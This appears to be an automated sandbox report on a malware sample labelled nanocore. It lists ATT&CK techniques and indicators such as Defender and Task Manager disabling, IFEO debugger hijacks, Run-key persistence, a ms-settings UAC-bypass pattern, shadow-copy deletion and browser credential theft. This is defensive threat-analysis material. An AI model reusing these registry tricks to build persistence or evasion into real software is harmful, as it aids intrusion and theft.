nanocore | c0848d484acbd181f680b66e749482b40adcb05d31312b4d01c047805bb44df0

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	periodcalendarcherry.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5008	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	periodcalendarcherry.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	periodcalendarcherry.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4128	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	periodcalendarcherry.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	periodcalendarcherry.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3388	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	periodcalendarcherry.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	periodcalendarcherry.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	periodcalendarcherry.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1932	wscript.exe
5452	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	periodcalendarcherry.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5904	sc.exe
2832	sc.exe
2804	sc.exe
4040	sc.exe
1872	sc.exe
4796	sc.exe
2504	sc.exe
5820	sc.exe
5116	sc.exe
5788	sc.exe
4612	sc.exe
1868	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5508	cmd.exe
4192	cmd.exe
2152	cmd.exe
1248	cmd.exe
352	cmd.exe
5208	cmd.exe
2824	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3540	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2912	ipconfig.exe
2996	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4436	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4180	vssadmin.exe
3200	vssadmin.exe
6044	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	periodcalendarcherry.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309936527899245"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe"	periodcalendarcherry.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	periodcalendarcherry.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	periodcalendarcherry.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\periodcalendarcherry.io_chrome.exe\" \"%1\""	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	periodcalendarcherry.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	periodcalendarcherry.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	periodcalendarcherry.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1460	schtasks.exe
1336	schtasks.exe
4556	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5664	chrome.exe
5664	chrome.exe
5008	powershell.exe
5008	powershell.exe
5008	powershell.exe
2512	WMIC.exe
2512	WMIC.exe
2512	WMIC.exe
2512	WMIC.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
2500	WMIC.exe
2500	WMIC.exe
2500	WMIC.exe
2500	WMIC.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4200	WMIC.exe
4200	WMIC.exe
4200	WMIC.exe
4200	WMIC.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe
4572	periodcalendarcherry.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4572	periodcalendarcherry.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeIncreaseQuotaPrivilege	2512	WMIC.exe
Token: SeSecurityPrivilege	2512	WMIC.exe
Token: SeTakeOwnershipPrivilege	2512	WMIC.exe
Token: SeLoadDriverPrivilege	2512	WMIC.exe
Token: SeSystemProfilePrivilege	2512	WMIC.exe
Token: SeSystemtimePrivilege	2512	WMIC.exe
Token: SeProfSingleProcessPrivilege	2512	WMIC.exe
Token: SeIncBasePriorityPrivilege	2512	WMIC.exe
Token: SeCreatePagefilePrivilege	2512	WMIC.exe
Token: SeBackupPrivilege	2512	WMIC.exe
Token: SeRestorePrivilege	2512	WMIC.exe
Token: SeShutdownPrivilege	2512	WMIC.exe
Token: SeDebugPrivilege	2512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2512	WMIC.exe
Token: SeRemoteShutdownPrivilege	2512	WMIC.exe
Token: SeUndockPrivilege	2512	WMIC.exe
Token: SeManageVolumePrivilege	2512	WMIC.exe
Token: 33	2512	WMIC.exe
Token: 34	2512	WMIC.exe
Token: 35	2512	WMIC.exe
Token: 36	2512	WMIC.exe
Token: SeShutdownPrivilege	5664	chrome.exe
Token: SeCreatePagefilePrivilege	5664	chrome.exe
Token: SeIncreaseQuotaPrivilege	2512	WMIC.exe
Token: SeSecurityPrivilege	2512	WMIC.exe
Token: SeTakeOwnershipPrivilege	2512	WMIC.exe
Token: SeLoadDriverPrivilege	2512	WMIC.exe
Token: SeSystemProfilePrivilege	2512	WMIC.exe
Token: SeSystemtimePrivilege	2512	WMIC.exe
Token: SeProfSingleProcessPrivilege	2512	WMIC.exe
Token: SeIncBasePriorityPrivilege	2512	WMIC.exe
Token: SeCreatePagefilePrivilege	2512	WMIC.exe
Token: SeBackupPrivilege	2512	WMIC.exe
Token: SeRestorePrivilege	2512	WMIC.exe
Token: SeShutdownPrivilege	2512	WMIC.exe
Token: SeDebugPrivilege	2512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2512	WMIC.exe
Token: SeRemoteShutdownPrivilege	2512	WMIC.exe
Token: SeUndockPrivilege	2512	WMIC.exe
Token: SeManageVolumePrivilege	2512	WMIC.exe
Token: 33	2512	WMIC.exe
Token: 34	2512	WMIC.exe
Token: 35	2512	WMIC.exe
Token: 36	2512	WMIC.exe
Token: SeBackupPrivilege	2836	vssvc.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe
5664	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4572	periodcalendarcherry.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 5664	4572	periodcalendarcherry.io_chrome.exe	88
PID 5664 wrote to memory of 4212	5664	chrome.exe	89
PID 4572 wrote to memory of 5008	4572	periodcalendarcherry.io_chrome.exe	90
PID 4572 wrote to memory of 5904	4572	periodcalendarcherry.io_chrome.exe	92
PID 5664 wrote to memory of 3540	5664	chrome.exe	94
PID 5664 wrote to memory of 1692	5664	chrome.exe	95
PID 5664 wrote to memory of 1692	5664	chrome.exe	95
